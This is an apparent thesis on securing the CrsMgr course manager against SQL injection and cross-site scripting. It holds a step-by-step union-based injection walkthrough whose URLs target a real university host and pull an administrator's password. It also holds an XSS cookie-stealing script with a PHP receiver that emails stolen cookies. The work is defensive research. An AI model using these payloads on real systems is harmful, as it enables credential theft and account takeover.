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ABSTRACT 
Internet was developed for computers to be interconnected easily and hence allow them to 
interchange information. One of the early use of the internet was for email communications and 
file transfers. The web was developed to make the sharing of information much more convenient.  
However, the technology for protecting data when interaction is allowed was developed piecemeal 
and many web applications where user communicate using the web form based interface with a 
server  and databases are exposed to various threats including malicious script. Moreover, 
companies and malicious users use trackers to observe and record the user actions.  
In this project we address these problems in connection with course manager system(CrsMgr) 
which is used currently to manage typical university courses; it includes features for posting notes, 
tutorials, assignments, projects, create and maintain student groups, provide facility for group peer 
evaluation, on-line quizzes, and grading.  The technique used to enhance the security based on 
using  filtration layer and prepared-execute layer to make CrsMgr secure. The goal of filtration 
layer is to catch malicious user input based on suspect key words; The goal of prepared-execute 
layer is to invalidate malicious input. The implementation of this feature uses mysqli,  a PHP 
extension  for secure database access. 
We have also developed an experimental browser which prevents user tracking and saves 
bandwidth by disallowing third party contents. The latter uses two techniques: filtration and user 
agent faking. Filtration is to check every resource Uniform Resource Identifier(URL) before 
making a request to load it, and not loading any target URL if it is determined to be a third party. 
The third party determination policy is configured by the user. The browser also provides user 
agent faking which is a feature that allows masquerading the browser and platform information 
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with random information. The browser provides a simple user interface that allow user to verify 
the third party content on a web page and stop using a simple switch metaphor.  
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Chapter 1 Introduction  
 
Internet is the corner stone of today’s data communication. Originally, internet was only available 
to research institutes and government.  It became accessible to the wider public in the mid-1990s 
with the introduction of the world wide web and a public protocol named Hyper Text Transfer 
Protocol (HTTP) was introduced. This protocol facilitate computers communicate across different 
platforms. This protocol defines a set of data communication related regulation. For protocol 
parameters perspective, it defines Uniform Resource Identifier(URI) to identify resource on 
internet, date/time format, character set and other resources. For messaging, it defines the type, 
header, body, length and header field for a data communication message. For interaction between 
server and client, it defines request and response header fields and status.  Also, it defines 
connection between server and client, methods, status code, caching and security. However, there 
is no specification and definition for user state. [1] In other words, this protocol is designed to be 
stateless and it does not maintain users’ states such as the  users’ logging states, key words entered 
or even the URLs. When the first graphical browser [2] was introduced, followed  the world wide 
web(WWW) became accessible  to millions of non-technical people. At this time, web pages were 
static, which means that the content was pre-defined. Web related programming languages such 
as PHP, ASP, JSP and JavaScript didn’t’ exist. There was no way to dynamically generate web 
page based on user input. The connection between web pages and database was not established 
yet. Thus, malicious users could not run any script on web pages. 
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1.1 Security problem exists in today’s internet 
 
Soon after the introduction of the web, it was realized that the web pages should be geared to the 
user’s need and hence the concept of dynamic web pages was introduced: here in the content in 
web pages is dynamical and I based on the users’ input. This was possible by web based 
programming languages such PHP, ASP, JSP as well as JavaScript. These web-related 
programming languages provide libraries and Application Programming Interface (API) which 
make querying database, handle user input and render web page based on user input and/or 
database result become feasible. As a result, the connection between database, user input and web 
pages is established.   
Allowing interactions between the users input and the database contents exposes the database and 
the server contents. Thus, these contents may be exploited by a malicious user unless care is taken 
to preprocess the user input for illegal contents.  The most common and harmful attack on web 
application is injection. [3] Injection is an attack method which puts malicious scripts into user 
inputs and if not detected, would  be executed on the server and access the database to obtain 
secure information not usually accessible to users. 
 
1.2 The Course Manager System (CrsMgr) 
CrsMgr, a web application designed for managing course material, quizzes. It also provides others 
necessary functionalities for professors and students. For functionality perspective, it is an 
awesome web application. However, the current production version, CrsMgr2007 which was 
released in 2007 suffers from a number of security problems such as SQL injection and Cross Site 
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Scripting (XSS).  The objective of this work is to harden the system while continue to provide its 
functionalities. 
1.3 Structure of the thesis 
The thesis is organized as follows. 
 
Chapter 1 is introduction.  
Chapter 2 discusses the state of the arts of SQL injection and XSS script and illustrates the 
shortcoming of the current implementation of CrsMgr that exposes it to these type of attacks 
Chapter 3 presents the solution to overcome the CrsMgr issues discussed in Chapter 2.  
Chapter 4 introduces a unit test to verify the security filter module presented in Chapter 3. It present 
comparison tests between CrsMgr2007 and the secure version, CesMgr2016 for vulnerability to 
SQL injection and XSS. Finally, this chapter presents the result of a regression. 
Chapter 5 provides the conclusion and suggestions for the future work.  
Appendix 2 presents a light weight FlashBrowser for in class snap quiz. Here, we discuss 
FlashBrowser’s   conceptual and prototype design and its functionality. This browser would be 
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Chapter 2 State of the art 
2.1 History, categories and protection methods of SQL injection and Cross Site 
Scripting 
 
SQL injection is a web-based hacking technique which exploits the absence of input or 
parameter filtering in a web application. This results in no input data validity checking hence 
malicious code could be passed to the SQL backend server for parsing and execution. [4] 
 
The first such attack is not known. However, Phrack Magazine [5] started to discuss SQL 
injection around 1998. After that, SQL injection became more and more common. Since 2000, 
the Common Vulnerabilities and Exposures [6] keep track and report applications’ vulnerability 
to SQL injection.  In 2012, 97 percent of data breaches were due to SQL injection[7]. [7] In the 
same year, within one week, a million web pages were affected by SQL injection [8]. Nowadays, 
according to the latest security risk report from Open Web Application Security Project 
(OWASP), the SQL injection is considered as the greatest risk [9]. 
 
In general, SQL injection can be categorized as follows [10]: 
1. First Order Attack. The malicious code is injected and executed immediately. 
2. Second Order Attack. The malicious code is saved in persistent storage, considered as 
credible data, and is executed by another query. 
3. Lateral Injection. The malicious user changes the value of an environment variable such 
as NLS_Date_Format to manipulate the implicit function To_Char(). 
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As the problem of SQL injection has grown, the new methods against SQL injection have been 
introduced. There are three anti-SQL injection methodologies: [11] [12] 
1. Sanitize the input data. By keyword filtering, the special character is escaping and type 
checking.  
2. Parameterize the input data. The statement query conversion before binding parameter to 
the converted query statement.   
3. Use the least privilege for SQL account which used the code. 
 
Cross Site Scripting, is an attacking technique. It is typically used to bypass access controls such 
as “log-in”.   
In 2000, Cross Site Scripting was reported by a Microsoft engineer. At that time, Cross Site 
Scripting was described as "Malicious HTML Tags Embedded in Client request".  Nowadays, 
according to Symantec, XSS is considered as the fifth most serious internet vulnerability. [13] 
Cross Site Scripting can be divided into the following types: [14] 
1. Store XSS. The malicious code is stored by the attacker on the server side, typically in 
persistent storage (database). When the server handles the victim’s request, the malicious 
code is used to construct a web page for the victim. 
2. Reflect XSS. This type of Cross Site Scripting is executed immediately. The malicious 
code is sent to the server and carried back to the browser. 
3. Document Object Model (DOM) based XSS. The malicious code does not come from the 
server. Instead, it utilizes the DOM interface to hijack the request of the victim. 
 
To defend against Cross Site Scripting, OWASP has suggested following rules: [15] 
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1. Escape data before putting it into an HTML tag, as the data from persistence storage, may 
contain malicious script. Thus, sanitize before use.  
2. For attribute data in an HTML tag, like width, escape before use. 
3. Escape data before putting it into JavaScript code. 
4. Escape CSS and strictly validate before use. 
5. Escape a parameter before putting it into URL. 
6. Use HttpOnly property to prevent cookie stolen. 




2.2 Detail discussion of SQL injection  
To understand SQL injection, it is necessary to understand what is SQL. SQL, which is the acronym 
commonly used for Structured Query Language, is a scripting language used to manage data held in most 
Relational Database Management System(RDBMS) [16]. Some version of the SQL standard is a widely 
used as the scripting language to manage many current RDBMS: examples are SQL server, MariaDB, 
MySQL, Oracle, Access, PostgreSQL, SQLite. [17] 
While SQL is the scripting language used to query the backend database malicious users can insert SQL 
scripts into places where textual input is expected in designated user input area. If no precaution is taken, 
such inserted SQL scripts could be executed by the server and the result would be displayed to this 
intruder. Hence a hacking attack with a series of appropriate SQL scripts could be made by a hacker and 
the result of these would enable the intruder to gain knowledge, otherwise not accessible to this user [18] 
Such series of input consisting of one or more SQL scripts inserted in textual input area and executed by 
the system is called SQL injection.   
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A simple example of SQL injection by an intruder would be through a website’s login page, would be as 
follows: 
 
Figure 2-1 Inject SQL in Login 
This piece of user input with SQL code will be sent to SQL server and be executed if there is no provision 
is made in the backend system to monitor the user input and disallow scripts and/or render it inexcusable. 
If a web application does not have defense against SQL injection, hackers could take advantage of this 
and could perform the following operations.:  
1. Query the backend database 
2. Update database 
3. Collect sensitive data 
4. Destroy a part of or the entire database 
2.3 Detail discussion of Cross Site Scripting (XSS) 
Cross Site Script (XSS) is a technique used by malicious users inject scripts, for example JavaScript or 
JSP  into a user input text area.,  Such script, if no precaution to monitor the user input is in place, would 
be accepted by the server and execute by the host application;, typically the execution would be by the 
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browser. [19] Hackers  could use this technique to bypass access controls, gain higher-level privilege and 
get sensitive data. To bypass access control, malicious users can use such technique to steal victim user’s 
persistent cookie and then use such cookie to camouflage as victim user to login if the web site provides 




Figure 2-2 BBC sign in page 
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To achieve the “Remember me” as above, server needs to put a persistent cookie on client side which will 
exist even after user close browser and turn off computer. If a hacker successfully steals this cookie, 
he/she can camouflage as victim user and access the web application. 
2.4 Brief introduction of CrsMgr 
CrsMgr(Course Manager System) is a web based software system to manage almost all aspects of an 
academic creditcourse. It has evolved from a PL/I version developed in the 1980s1, through the use of a 
early database using motif as the graphical interface and thence into the present version with the web as 
the front end and a  Mariadb database as the back end with PhP as the scripting language. CrsMgr has 
features for use by the various parties involved.   These parties being;  students, professors, teaching 
assistants and administrators at various level including the course coordinators, department chairs and 
deans (or their representatives). It provides functions including setting up courses, course offerings 
through terms and sections, assigning co-coordinator and various personnel for each newly created course 
section. The personnel for a course would  involve  assigning an instructor, tutors, lab instructors and 
markers for each new section. In case of a course having multiple sections during the same term, a course 
coordinator may also be assigned. CrsMgr provides facility to create question banks for quizzes; each 
question would have multiple correct and incorrect answers and the system would create multitude of 
versions for the same question with different choice of answers to select: the question bank could be used 
to create online quizzes. CrsMgr has features to send email notifications, and provides course material 
sharing among multiple sections of a coordinate course. CrsMgr allows the uploading of files representing 
the student or group submissions for course assignments, posting of course announcement, auto grading 
of on-line multiple choice quizzes.  CrsMgr facilitates  student group management, provide facility for 
grading by markers among other functionalities. The various versions of CrsMgr  has been used since 
1980s for a number of courses at Concordia University. [20] The current version is the CrMgr-V4.  We 
refer to this simply as CrsMgr in this document,  
                                                     
1 Implemented by Bipin C. Desai for use in his courses  
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However, CrsMgr has security problems which may lead to breach or compromise of privacy and 
security. We outline these shortfalls below and in the next chapter, we show how these are addressed to 
make the system more robust. 
 
2.5 Security Issues in CrsMgr 
In this section we will illustrate how a hacker could exploit SQL injection and cross site script to 
compromise the existing CrsMgr2007. 2.4.1 CrsMgr2007 and SQL injection  
CrsMgr2007 has no defense against SQL injection since in the 2007 implementation of CrsMgr, the 
user’s input is directly used to query the database.  
 
 
The codes above represent the following steps: 
1. Examine whether $course_id is inputted by user or passed by previous page 
2. If so, acquire the $course_id from user’s input as a local variable 
3. Concatenate SQL query with $course_id. 
4. Use the concatenated SQL query to query DBMS. 
//Database Query with user input in CrsMgr 
if(isset($_GET[`course_id`])){ 
$course_id = $_GET[`course_id`]; 
$sql  = “SELECT *”; 
$sql  .= “ FROM course”; 
$sql  .= “WHERE course_id = $course_id”; 
 mysql_query($conn,$sql) or die(“execute error”); 
} 
Figure 2-3 : CrsMgr query implementation 
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If CrsMgr does not have verification mechanism to verify input from users, a malicious user can simply 
hack in the CrsMgr using following steps: 
1. First the hacker goes through web pages, and determines which pages accept user input or allow 
the user to specify input which would be used as parameters. And then based on the functionality 
of each page, makes a guess about the likely usage of the user input and/or parameters. Thus the 
malicious user can determine a set of web pages to mount the SQL injection attack. Based on a 
guess of the usage to each page, hacker creates a series of SQL queries. 
2. The hacker chooses one of the target web page and chooses the GET array type input. GET array 
is a set of key-value pairs appended at the end of URL, and starts with a question mark“ ? ”. The 
key and value pairs are bound by the equality ( =)  symbol: the key is on the left side of the equality 
sign, and the value is on its right.  
 
Figure 2-4 GET array data location 
 
As the example above shows, GET array is plaintext, which contains one key-value pair. The key is 
“ course_id ” and the corresponding value is 101.  
3. Test whether CrsMgr is vulnerable to SQL injection, in other words determine if  CrsMgr validates 
the users’ input.  
 
Figure 2-5 Concatenate in SQL script; “%20” is the encoded  whitespace, “<>” means not equal in SQL 
Based on the hacker’s input, the result of any value conjunct with a false value is always false. In CrsMgr, 
the query will be concatenated like this:  
 SELECT * FROM course WHERE course_id = 95 AND 1<>1  
In this example, the result is always false because the query cannot find anything that makes 1 not equal 
to 1.  
Secure CrsMgr: a course manager system 
 12 
 After typing in “ and 1<>1”, malicious users refresh the page. The page works correctly as it 
reflects the query result.  
 
Figure 2-6 Page is course_student_default, top on menu on LHS 
As shown above, hacker finds that SQL query can be injected into parameters. Knowing this, the hacker 
need to determine the number of attributes in the table being used for the page and which attributes’ 
values are used in this page. 
 
Figure 2-7 First try fail 
First, the hacker injects SQL query “order by 28”.  Here “28” is the number which represents a column 




Figure 2-8 Second try success 
 
After the first failure, the hacker tries the number 27 and determines that the current table has 27 
attributes. Now the hacker would try to find out which attributes’ values are used in current web page. By 
using following script:  
 AND 1<>1 UNION SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 
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This script will make query the CrsMgr database and get an empty set as result. Then union a SELECT 
1,2,3 …25, 26, 27.  The query returns the database result table for values for attribute in position 
1,2,3…25, 26, 27.   
As an empty result union a result set with value 1,2,3…25, 26, 27, the final result of query is like 
following table: 
 
… Course_name … year … section … 
… 2 … 8 … 12 … 
Figure 2-9 Final result set 
Then, when CrsMgr get course name, year and section from the result set, instead of getting the correct 
one, it will get 2,8 and 12. Then, CrsMgr use these result and display on the page like following: 
 
Figure 2-10 Script to see which attribute can be used 
As a result, the hacker finds out that the values for column 2,8 and 12’s are used in the page.  
Now, the hacker needs to determine the name of current database: this can be attempted by using 
following script: 
AND 1<>1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11, (SELECT 
DATABASE()),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 
 
Figure 2-11 Successfully get database name 
As the result shown above, current database name is shown in the position where attribute index 12 would 
have been shown. 
 
Net the hacker needs to know the names of all the tables in the database to query them. Since there may 
be too many tables which could not be displayed correctly, the malicious user does this in 4 steps.  
Get the table names wih the first character as; a, b, c and d. 
https://confsys.encs.concordia.ca/fhpsys/crs_student/course_student_default.php?course_id=95 and 
1<>1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT GROUP_CONCAT(Table_Name) FROM 
INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= 'newcrsmngr' and table_name <='d' 
group by table_schema),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 
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Figure 2-12 Tables with names starting with a,b, c or d 
 
6.2 Get the table name that the first character is e, f, g, h, I, j, k, l, m, n, and o. 
https://confsys.encs.concordia.ca/fhpsys/crs_student/course_student_default.php?course_id=95 and 1<>1 
union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT GROUP_CONCAT(Table_Name) FROM 
INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= ' newcrsmngr ' and table_name >= 
' e '  and table_name<= ' o '  group by table_schema),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 
 
Figure 2-13 Second group tables 
6.3 Get the table name that first character is p, q, r and s. 
https://confsys.encs.concordia.ca/fhpsys/crs_student/course_student_default.php?course_id=95 and 1<>1 
union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT GROUP_CONCAT(Table_Name) FROM 
INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='newcrsmngr' and table_name >= 
'p' and table_name<='s' group by table_schema),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 
 
Figure 2-14 Third group tables 
Get the table name that first character is u, v, w, s, y and z. 
https://confsys.encs.concordia.ca/fhpsys/crs_student/course_student_default.php?course_id=95 and 1<>1 
union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT GROUP_CONCAT(Table_Name) FROM 
INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='newcrsmngr' and table_name >= 
'u' group by table_schema),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 
 
Figure 2-15 Fourth group tables 
Once the hacker as the names of all tables and the fact that there is a table called user.  
6 A common practice is use a table named user to save the users’ information, and would include 
username and password. Thus, by querying table user, malicious users can get the admin’s and any 
other user’s username and password. If username and password are not saved in user table, the hacker 
just needs to get every table’s attributes to see which table has username and password information and 
query that table. 
6.4 Get all the columns’ names in table user. 
https://confsys.encs.concordia.ca/fhpsys/crs_student/course_student_default.php?course_id
=95 and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT 
GROUP_CONCAT(Column_Name) FROM INFORMATION_SCHEMA.Columns 
WHERE TABLE_SCHEMA='newcrsmngr' and table_name='user' group by 
table_name),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 
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Figure 2-16 All columns in user table 
6.5 Get the username and password of one user, here malicious user chooses B.C Desai as target 
user. 
https://confsys.encs.concordia.ca/fhpsys/crs_student/course_student_default.php?course_id=95 
and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT user_name FROM user WHERE 
last_name= ' desai '  ORDER BY user_name ASC LIMIT 
1),13,14,15,16,17,18,19,20,21,22,23,24,25,26,272  
 
Figure 2-17 Show username of admin in section display area 
https://confsys.encs.concordia.ca/fhpsys/crs_student/course_student_default.php?course_id=95 
and 1<>1 union select 1,2,3,4,5,6,7,8,9,10,11,(SELECT password FROM user WHERE 
user_name='bcdesai' ),13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 
                                                     
2 For security reason, the username and password are masked in following figures. 
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Figure 2-18 Show password of admin in section display area 
 
As the example shown above, malicious users can easily steal information from database. Moreover, 
malicious users can even drop a table by injecting “;drop table table-name” to drop and table. To avoid 
such potential dangers, CrsMgr should filter user's input, which needs to add an extra security layer for 




As shown above CrsMgr lacks a mechanism to validate users’ input. Hence hackers could also inject 
JavaScript with normal textual information into text input area. When an unsuspecting user visits the 
corresponding web page, which contains the hackers’ textual normal information along with hacking 
script. The normal information will be rendered as usual by the browser. However, the script will be 
executed by the browser as any other script. Hackers can use appropriate scripts to steal a victim’s cookie. 
Below is an example to illustrate how a hacker could steal victim’s cookie and then impersonate the 
victim. 
1. the hacker, who is also a legal user login, and injects a JavaScript into an user input textual 
input box area. In this example the hacker is a graduate student, who uploads a document file and 
adds some textual comments for his supervisor. However, in addition to the textual comments, the 
hacker appends a script to email which sends the supervisor’s cookie to another script (specified 
by an URL) running on the hacker’s server.   
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Figure 2-19 Example of XSS: include  script in textbox 
The script entered in the File Description text box is as follows: 
<script> 





This script’s purpose is to send the cookie of the supervisor when he loads the web page  and the 
the file description is loaded by the browser and it executes the script. The problem here is the 
design of browsers which does not have a parameter for the contents the browser is in the 
process of rendering. Such parameter could have been used to indicate that a textbox is being 
rendered and the content must only be used for formatting and not be used as a  
Here is the description of each line of script: 
 Declare an XMLHttpRequest object, which is used to handle http request.  
var request = new XMLHttpRequest(); 
 Prepare a http get request by calling the function named “open”. The parameters in the 
“open” function represent the method to be used for http request, the target URL of http 
request and this is a synchronized http request or not. 





 Send the request. 
request.send(null); 
 
2. The malicious user waits for victim user to access the web page which contains file descriptions 
shown above. In this example, the web page is project details. Once the victim user clicks and see 
the project detail page like following, the script above will run and send user’s cookie to the 
following link. 
           https://confsys1.encs.concordia.ca/testCookies.php 
 
Figure 2-20 Victim user click the to see project detail 
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Figure 2-21 Victim user see web page as usual, while Malicious script is executed 
3. The web page testCookie.php hosted by the hacker’s server receives the victim’s cookie. The page 
of testCookie.php decodes the information and sends an email to the hacker’s mailbox. 
The source code of testCookies.php is: 
<?php 
if(isset($_GET["cookie"])){ 
 $decoded_cookie = base64_decode ($_GET["cookie"]); 
    $to = "fishsb19@gmail.com"; 
    $subject = "Test mail"; 
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    $message = "Hello! This is a simple email message.\n".$decoded_cookie; 
    $from = "fishsb19@gmail.com"; 
    $headers = "From: $from"; 
    mail($to,$subject,$message,$headers); 
}?> 
 
4. The hacker receives the following email sent by testCookie.php. 
 






5. Once the hacker receives this cookie, he/she can replace own cookie by using the victim’s cookie 
to impersonate the victim. Once the hacker has the victim’s cookie, if the victim deletes his cookies 
or uninstall/close his browser will not affect the mis-use of the stolen cookie! The stolen session 
cookie already has a corresponding PhP session . The technique is based on the implementation of 
PHP session. As HTTP is designed to be stateless, it cannot maintain the state of users. However, 
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in some situation, server needs to have the state of users, such as state of login. Thus, HTTP session 
was introduced, which is a key-value pair generated by server. Both key and value are saved in 
server’s session database, which the key will be used as identity saved on the client side(user) into 
cookie. After that, all data packages that sent by client side(user) will contains the key(identity). 
The server receives package, uses the key(identity) sent by client to search session database. If the 
server can find such key(identity) in session database, the user’s state which is saved as 
corresponding value with the key is found. Based on this state, the server can handle user request 
correctly. To impersonate the victim, hacker only need to steal the victim’s cookie, as the session 
key which is the identity for server to recognize a user is stored in the cookie. 
 
To change the cookie stored in the browser, hacker can use a tool called:EditThisCookie. [21] 
This tool provides a Graphical User Interface(GUI) for to manage cookies. 
 
 
Figure 2-23 Hacker substitutes  his cookie with victim’s cookie, before refresh page 
After refreshing page, with the HTTP GET request carries the victim’s cookie, the server considers that the 
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request is sent by victim user. 
 
Figure 2-24 Malicious user now acquire the admin privilege 
 
As problems described above, CrsMgr need to be upgraded with enough security feature. In the next 














Chapter 3 Methodologies for hardening CrsMgr2007  
As illustrated in Chapter 2, CrsMgr2007 needs it security features  e updated and hardened to 
protect against SQL injection and cross site scripting. As we have seen malicious code in the form 
of SQL injection or cross site scripting using JavaScript for can only come from users’ inputs.  
As illustrated in Example 2.1, the malicious codes could be inserted in the URL and this would 
be executed when the URL is presented to the server. For JavaScript, the malicious code would 
be inserted in the user input area and stored and executed during the subsequent page rendering 
process.  
In SQL injection, the attempt would be successful if the user input for parameter is not validated 
before actual execution.  Even if the non-editable view for database schema is used, the 
malicious user still can query the data which he should not access. To fix the three types of SQL 
injection, we filter, validate all input data and parameter  
before query. As no data, even from the database, can bypass this process, the CrsMgr2016  
has  protection against SQL injection. 
 
For Cross Site Scripting, the attempt would be successful if user input is not validated before 
saving it in the database: this include not substituting ASCII code for special characters and 
disabling all commands in the parameter. To fix the three types of  XSS: 
-  we escape all parameters and data before storing it in the database, 
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- we escape all parameters before they are used across pages and 
- we set HttpOnly3 such that Cookie can never be stolen via JavaScript.  
Then, CrsMgr has protection against XSS. 
 
 
3.1 Importance of Validating Input  
A web application must examine and validate any input entered by the user in any part of a web 
form or parameters: this includes parameters that are normally form part of the source code used 
to render the result to the uses. This is possible since browsers allow user to not only view the 
source code of the pages, but also provide facility to edit the code and insert arbitrary input 
including scripts. Browsers do not have the intelligence to provide any protection not provide the 
source code to specify the type of input nor validate the input; in this sense the browsers, 
regardless of their provenance have failed miserably 
The user input and parameters come from either URL GET array or HTTP FORM.  An URL 
GET array consist of key-value pairs appended at the end of URL, as discussed in section 2.4.1. 
Whereas, a HTTP FORM contains different types of input including textbox, input and URL 
input embedded in page. All of these, without precaution and validation, provide vulnerability to 
Injection. 
We illustrate below an example of how an injection could be inserted in parameters; even for a 
hidden parameter. The steps are given below in Example 3.1. 
Example 3.1 
The user signs in, navigates to a page for which he has access and examines the source code of 
the page to locate a hidden parameter as shown in Figure 3-1 
For the hidden parameter “Back to project list”, it uses “department_id” as the parameter where 
the department_id value is encoded (Figure 3-1, in the right red box). 
The user assumes that CrsMgr has only encoded parameters, without any encryption. The 
encoded value can be decoded using a base64 decoder, illustrated in Figure 3-2: 
The user writes a SQL script and encodes it, illustrated in Figure 3-3. 
The department id is substituted by the encoded SQL script, illustrated in Figure 3-4. 
 
                                                     
3 This is option for Http Cookie. The cookie can be set as HttpOnly via php.ini file. And PHP setCookie() function. Once 
the cookie is HttpOnly, JavaScript cannot access it. 
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Figure 3-1 Example 3-1 : View the source code 
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Figure 3-2 Example 3-1: Decode the value of department id 
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Figure 3-4 Example 3-1: Substituted department id with encoded SQL injection 
Finally the  user employs the  Firefox browser and its  built-in Page inspector [22]  to modify 
department id. Similar tools are also available on other browser. The query in the source code 
now becomes  
“SELECT * FROM thesis_project WHERE department_id = 1 OR 1=1”. 
This query would access and display all thesis projects since the OR part of the query “1 
equaling to 1” is always true. When the user clicks the injected “Back to project list” link (Figure 
3-4),  all thesis projects in the thesis project table are shown to malicious user (Figure 3-5). This 
is because the current version of CrsMgr doesn’t provide such injection protection. 
This type of injection, illustrated above with one browser s possible in other browsers as well! 
End Example 3.1. 
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Figure 3-5 Example 3-1: all projects are acquired successfully 
 
 
As Example 3.1, illustrates even hidden parameters can be injected by a malicious user.  Since 
all input including GET arrays and HTML forms can be injected easily, securing of CrsMgr 
would require toad feature to validate all user input not assume that users would be non-
malicious nor would not make mistakes. 
3.2 User input and parameter processing 
A common feature of most web applications, including CrsMgr  is that they accept  inputs from 
user to make them dynamic. CrsMgr accepts three types of inputs and parameters such as integers, 
single words and texts. For different types of inputs, they will be handled by different injection 
procedures as outlined below 
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Figure 3-6 Flow chart of parameter and input handling 
 
a. Replacing HTML special characters 
If non-numeric inputs contain characters with special significance in HTML these characters 
would be replaced by their ASCII equivalent. 
 
b. Filtering SQL injection related keywords 
CrsMgr parameters have integers or single word value for example username, section, course 
id;  these parameters do not allow a phrase, special characters or SQL keywords. Hence, these 
parameters would be handled by keyword filtering. 
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c. Injection invalidation 
Texts, in CrsMgr, are normally used as comments for questions, titles and question contents. 
It is difficult to determine if the user’s input is an injection or normal input just by using 
keywords filtration. For example, user may input a natural language sentence which contains 
keywords such as: ‘and’, ’or’, ‘union’,  ‘select’ and so on. Thus, texts could not be handled by 
simple filtering. Such texts would be handled by injection invalidation.  
The idea of injection invalidation is, separating the SQL query preparation and parameters 
binding into two phrases. All parameters and user input are considered as parameters in the 
source code. CrsMgr only converts SQL query which is written in source code to database 
query template. Since parameters would never be converted to query template, SQL 
injection through parameter hacking is thus protected against and effectively invalidated. 
 
The replacing HTML special character procedure is used to invalidate XSS, the filter SQL 
keywords and injection invalidation procedures are used to prevent SQL injection. Each sub-
procedure is discussed below. 
 
3.2.1 Replacing HTML special characters 
Special characters in HTML source code are used to construct tags, URL and other parts of the 
source code of a web page. These characters are also used in creating XSS. Thus, to invalidate 
XSS, a feasible way is to replace these special characters with corresponding alternatives. [23]  
a) > will be replaced with &gt;  
b) < will be replaced with &lt; 
c) " will be replaced with &quot; 
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d) ' will be replaced with &#039 or &apos; 
e) & will be replaced with &amp; 
 
 
3.2.2 Filtering SQL injection related keywords  
This procedure is used to filter SQL injection related keywords. As in the flowchart (Figure 3-6), 
it only handles single word user input or parameters. In CrsMgr, SQL related or system related 
key word is not allowed in single word.  
For SQL, the criterion of identifying suspicious codes is based on keyword filtering by using 




Note: in the above \W represents all non-word characters.  
This regex expression consists of  all SQL key words used in SQL statements for database 
queries with some shell keywords. This regular expression takes into account the  following 
situation: 
1. All patterns matching is case insensitive. 
2. If users’ input or parameter matches any keyword given above,  and is followed by a non-
English character such as whitespace the user input is considered suspicious. 
3. If special characters such as ' , /*, *, ../ and ./ are identified in the users’ input, it is 
considered  as a suspicious. 
4. If a suspicious input is caught, the CrsMgr will kill user session, log user information if 
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given and redirect user to warning page. 
 
3.2.3 Invalidate injection 
To avoid SQL injection, another way is to handle query statement and parameters separately. The 
query statements are typically written by web application developers and do not contain any user 
input and parameters from GET array or HTTP FORM. These query statements are trustworthy.  
For the input and parameters, as both of them are vulnerable to  injection as illustrated in Example 
3.1, it is necessary to invalidate all such inputs. For SQL script, this can be simply achieved by 
using PHP mysqli prepared statements related functions. These functions handle query statements 
and parameters separately. According the PHP official documentation [24], prepared statement 
functions consist of two stages: calling preparing and executing separately. In the preparing stage, 
the query which is parsed as statement template and this template will be transferred to the server. 
The server handles the statement template and prepare internal resource for it. The parse event will 
never happen again and the statement template will never be transferred to the server again. Then, 
the server uses parameters directly at the point of execution, after the statement template is parsed. 
The parameters will never be substituted into query template and hence the template cannot have 
other SQL statement(s) piggy back on it.  
For example, consider a SQL injection phrase given below: 
Department of Computer Science And Software Engineering' UNION SELECT * FROM 
department WHERE department_name<>' 
Suppose the backend SQL query is: 
SELECT * FROM department WHERE department_name =’$department_name’  
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However, as department name may contain keywords listed above which are used to filter integer 
and single word in keyword filtering layer, keyword filtering layer could not be used to catch SQL 
injection in parameters. Although keyword filter may not work in this situation, Injection 
invalidation can help CrsMgr to stop injection. The following are two examples. (Example 3-2, 
Example 3-3) Each example contains source code and query result. The first example is original 
CrsMgr query. The second example is new CrsMgr backend hardened with Injection invalidation. 
 
Figure 3-7 Example 3-2, Query without injection invalidation 
The code in Figure 3-7 is extracted from original CrsMgr source code. The purpose of the 
original query is to find the department information for a specific department name.  However, 
after the query is injected, the query becomes  
“select information from department table where department name is Department of 
Computer Science And Software Engineering, union the result of select everything from 
department table where department name is not empty”.  
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As the query logic given above, the result will simply query everything plus a duplicate 
information for department “department of computer science and software engineering.  As as 
shown in the following result. 
 
Figure 3-8 Example 3-2:  Query result without injection invalidation 
This result is all departments’ information in database, which currently has; Department of 
Computer Science and Software Engineering; Department of Electrical and Computer Engineering; 
Department of Building, Civil and Environmental Engineering; Department of Mechanical and 
Industrial Engineering. As the result, the malicious code is executed and gets the result as planned 
by the malicious user. 
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For query with injection invalidation, the result is different. As shown below in Example 3-3. 
 
 
Figure 3-9 Example 3-3: Query with injection invalidation 
The code in Figure 3-9 is used to query department information by department name. As the query 
is secured by injection invalidation, the variable $department_name is considered as a parameter 
and all script in variable $department_name is invalidated. After injection, the query is still to 
select information from department table by specific department name, where the department name 
is  
“Department of Computer Science And Software Engineering'  
UNION SELECT * FROM department WHERE department_name<>'”.  
As this department name does not exist, the result is as follows: 
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Figure 3-10 Example 3-3 With Injection invalidation result 
The result is an empty set. As explained above, the SQL injection in parameter is not converted. 
Instead, it is considered as a part of parameter value only. Thus, SQL injection is invalidated. 
3.3 Encrypting parameters 
In addition, to protecting parameters being passed across web pages and possibly accessible to the 
users who could use them for injection, encrypting parameters is an added protection. This offers 
several benefits to CrsMgr: 
a. Encrypted data is difficult to be injected. As the data is encrypted, the user can only see the 
encrypted data. if a malicious user injects a script into a encrypted parameter data, when 
decrypted this would give invalid parameter and an likely an empty result.   
b. Encrypted data can protect internal data of CrsMgr. For example, some identefiers cannot 
be read by user as they have been encrypted. 
 
CrsMgr expects a numeric input or parameter, however, when a non-numeric input or parameter 
is given, then the input or parameter is considered suspicious. 
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For all non-numeric input or parameters, after escaped HTML special character, if the escaped 
